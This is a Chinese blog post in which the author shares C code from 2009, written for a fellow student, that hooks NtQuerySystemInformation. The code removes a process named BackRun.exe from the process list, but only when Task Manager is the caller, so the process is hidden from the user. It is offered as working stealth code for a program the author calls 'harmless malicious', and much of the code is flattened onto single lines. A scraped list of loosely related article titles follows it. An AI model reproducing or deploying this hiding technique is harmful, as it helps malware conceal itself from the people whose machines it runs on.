今天翻出一些今年前写的代码。其中一个是09年,我帮一个读研的同学写的一个“无公害恶意”程序。大致要求就是要实现自启动和自我隐藏。我使用的都是些简单的技术,只是实现自我隐藏稍微让我花费了点时间写算法。其实这个算法也很简单,就是大学时候写的从一个单向链表中删除一个元素。(转载请指明出处)

APIhook我这儿就不说了,网上很多开源的代码,我只贴出“删除元素”的代码。

NTSTATUS WINAPI Hook_NtQuerySystemInformation( SYSTEM_INFORMATION_CLASS SystemInformationClass,PVOID lpSystemInformation,ULONG ulSystemInformationLength,PULONG pulReturnLength)
{// 调用原始NtQuerySystemInformationNTSTATUS nResult = ((PNtQuerySystemInformation)(PROC) g_NtQuerySystemInformation)(SystemInformationClass, lpSystemInformation, ulSystemInformationLength, pulReturnLength);if( 0 != nResult){return nResult;}// 获取调用模块路径WCHAR FilaPath[MAX_PATH] = {0};GetModuleFileName( NULL, FilaPath, MAX_PATH );// 获取调用模块的名称WCHAR* pFileName= NULL;pFileName = PathFindFileName(FilaPath);// 这是计算进程名在结构体中的偏移//     typedef struct _SYSTEM_PROCESS_INFORMATION//     {//         ULONG           dwNextEntryOffset;                  // 下段结构对象的偏移//         ULONG           dwNumberOfThreads;                  // 线程数//         LARGE_INTEGER   qSpareLi1;                          //         LARGE_INTEGER   qSpareLi2;//         LARGE_INTEGER   qSpareLi3;//         LARGE_INTEGER   qCreateTime;                        // 创建时间//         LARGE_INTEGER   qUserTime;                          // 用户态时间//         LARGE_INTEGER   qKernelTime;                        // 内核态时间//         UNICODE_STRING  ImageName;                          // 文件名(非路径)//          ……//      }// 2 * sizeof(USHORT)是因为UNICODE_STRING得定义://     typedef struct _UNICODE_STRING {//         USHORT Length;//         USHORT MaximumLength;//         PWSTR  Buffer;//     } UNICODE_STRING;DWORD dwnameoffset = 2 * sizeof(ULONG) + 6 * sizeof(LARGE_INTEGER) + 2 * sizeof(USHORT);if ( 0 != wcscmp( pFileName, L"taskmgr.exe" ) ||5 != SystemInformationClass ){//只是过滤windows任务管理器return nResult;}LPVOID lpAddr = lpSystemInformation;// 获取第二个数据块的偏移ULONG ulNextEntryOffset = 0;// 因为_SYSTEM_PROCESS_INFORMATION的第一个元素就是dwNextEntryOffsetmemcpy_s( &ulNextEntryOffset, sizeof(ULONG), lpAddr, sizeof(ULONG) );// 保存前一个数据块的“下个数据偏移”ULONG ulBeforeNextEntryOffset = ulNextEntryOffset; // 保存当前数据块的“下个数据偏移”ULONG ulCurrentNextEntryOffset = ulNextEntryOffset;// 保存后一个数据块的“下个数据偏移”ULONG ulAfterNextEntryOffset = ulNextEntryOffset;// 保存前一个数据块的起始地址PCHAR pchBeforeAddr = (PCHAR) lpSystemInformation;// 保存当前数据块的起始地址PCHAR pchCurrentAddr = (PCHAR) lpSystemInformation;// 保存下个数据块的起始地址PCHAR pchNextAddr = pchCurrentAddr;BOOL bidle = TRUE;while( 0 != ulNextEntryOffset ){// 下个数据块的起始地址=当前数据块的地址+当前数据块的“下个数据偏移”pchNextAddr = pchCurrentAddr + ulCurrentNextEntryOffset;// 保存下个数据的“下个数据偏移”memcpy_s( &ulNextEntryOffset, sizeof(ULONG), (PVOID)pchNextAddr, sizeof(ULONG) );// 指向每个数据块中进程名的指针PCHAR pchNameAddr = NULL;// 过滤第一个进程system idle。这个进程在这个进程信息结构体中没有名字if( FALSE != bidle ){// 获取指向进程名的指针memcpy_s( &pchNameAddr, sizeof(PCHAR), (PVOID)(pchCurrentAddr+dwnameoffset), sizeof(PCHAR));if( 0 == wcscmp( (PWCHAR)(pchNameAddr), L"BackRun.exe")){// 让上个数据块的“下个数据偏移”=上个数据块的“下个数据偏移”+当前数据块的“下个数据偏移”,跳过当前数据块DWORD dwGoToNextOffset = ulBeforeNextEntryOffset + ulCurrentNextEntryOffset;SIZE_T size_nouse = 0;// 将数据写入内存if (!WriteProcessMemory(GetCurrentProcess(),(PVOID) pchBeforeAddr,(PVOID) (&dwGoToNextOffset),sizeof(DWORD),&size_nouse));memcpy_s( &ulNextEntryOffset, sizeof(ULONG), pchNextAddr, sizeof(ULONG) );}}else{bidle = FALSE;}pchBeforeAddr = pchCurrentAddr;ulBeforeNextEntryOffset = ulCurrentNextEntryOffset;pchCurrentAddr = pchNextAddr;ulCurrentNextEntryOffset = ulNextEntryOffset;}// Return the result back to the callerreturn nResult;
}

(转载请指明出处)

使用APIHOOK实现进程隐藏相关推荐

  1. CRUX下实现进程隐藏(3)

    通过一个内核模块拦截文件系统的回调函数来实现进程隐藏. VFS(Virtual File System)是Linux在实际文件系统(如ext3,ext4,vfat等)上抽象出的一个文件系统模型,简单来 ...

  2. linux进程隐藏 hook readdir函数 挂载覆盖/proc/pid 目录

    前言 上篇介绍了如何在有源码的情况下,通过 argv[] 及 prctl 对进程名及参数进行修改,整篇围绕/proc/pid/目录和 ps.top 命令进行分析,做到了初步隐藏,即修改了 /proc/ ...

  3. linux 进程隐藏常见方法

    一.基于用户空间进程隐藏手法 1.偷梁换柱型 1)隐藏原理 ​ 道理很简单,通过替换系统中常见的进程查看工具(比如ps.top.lsof)的二进制程序,导致原先查看进程相关信息的工具(ps.top.l ...

  4. (53)进程结构体EPROCESS,擦除 DebugPort 实现反调试,ActiveProcessLinks 断链实现进程隐藏

    一.进程的作用 进程最重要的作用是提供了CR3,10-10-12分页下CR3指向页目录表,2-9-9-12分页下CR3指向页目录指针表. 每个进程有一个或多个线程.本质上,没有进程切换,只有线程切换. ...

  5. 进程隐藏与进程保护(SSDT Hook 实现)(三)

    文章目录: 1. 引子: 2. 获取当前系统下所有进程: 3. 服务管理(安装,启动,停止,卸载): 4. 应用程序和内核程序通信: 5. 小结: 1. 引子: 关于这个 SSDT Hook 实现进程 ...

  6. 进程隐藏与进程保护(SSDT Hook 实现)(二)

    文章目录: 1. 引子 – Demo 实现效果: 2. 进程隐藏与进程保护概念: 3. SSDT Hook 框架搭建: 4. Ring0 实现进程隐藏: 5. Ring0 实现进程保护: 6. 隐藏进 ...

  7. Linux下进程隐藏的常见手法及侦测手段

    痕迹清理 1.  退出前 history -c 2.  多使用sftp吧 0.0 3.  web日志删除一些 4.  用户目录下很多 history,一言不合就是删 :) 4.  btmp wtmp ...

  8. Win32汇编——过程控制(进程调试和进程隐藏)

    进程调试(有权限的前提下,没有权限请自觉提权) 1.获取运行中的进程句柄 1.1 从窗口句柄获得进程句柄 FindWindow GetWindowThreadProcessId OpenProcess ...

  9. [网友LionD8的毕业论文]Windows2000 内核级进程隐藏、侦测技术

    Windows2000 内核级进程隐藏.侦测技术 指导老师:龙老师 学生:LionDB        学号:0137506 摘要 信息对抗是目前计算机发展的一个重要的方向,为了更好的防御,必须去深入的 ...

最新文章

  1. 用公网访问本地Nginx方法
  2. Vue实现仿音乐播放器9-更多按钮实现数据匹配
  3. Linux Capabilities 入门教程--进阶实战篇
  4. PHP面向对象(OOP)----分页类
  5. MongoDB命令学习
  6. [转] linux操作系统下c语言编程入门--基础知识
  7. 物流管理毕业论文题目【510个】
  8. PID到底是个啥?来给你讲个故事
  9. UIUC计算机科学系博士,伊利诺伊大学香槟分校计算机系统博士排名
  10. CSFB和SRVCC概念解释
  11. Android补间动画原理介绍
  12. J2EE:赛迪网J2EE视频总结
  13. 苹果cmsV10添加全屏幻灯图、全屏轮播图教程
  14. 全国大学生“高教杯”成图大赛——图错了如何修改
  15. 留言板(php+数据库)
  16. 2022最新MN梦奈宝塔主机系统V1.5版本+UI不错
  17. centos minimal安装基础流程
  18. Excel交叉引用及其应用实例
  19. python采用强制缩进的方式使得代码具有极佳的_Python基础
  20. 彻底禁用Chrome的“请停用以开发者模式运行的扩展程序”提示

热门文章

  1. RTD 比率式温度测量传感器设计思路
  2. tf.contrib 的命运走向
  3. 剑指offer:面试题10- I. 斐波那契数列
  4. JAVA中文注解驱动,解决api接口返回的json里面出现中文乱码的问题
  5. Angular1.4.6框架简单读取数据库信息并渲染完成news新闻文章列表以及detail详情页功能(小试牛刀)
  6. 扩展typeof来判断js变量的类型
  7. linux 文件查找命令集:find,locate,wheres,which,type
  8. Prevent Crow's Feet
  9. 移动端丨-webkit-overflow-scrolling:touch属性导致页面卡住
  10. 编码小记(未整理-持续更新)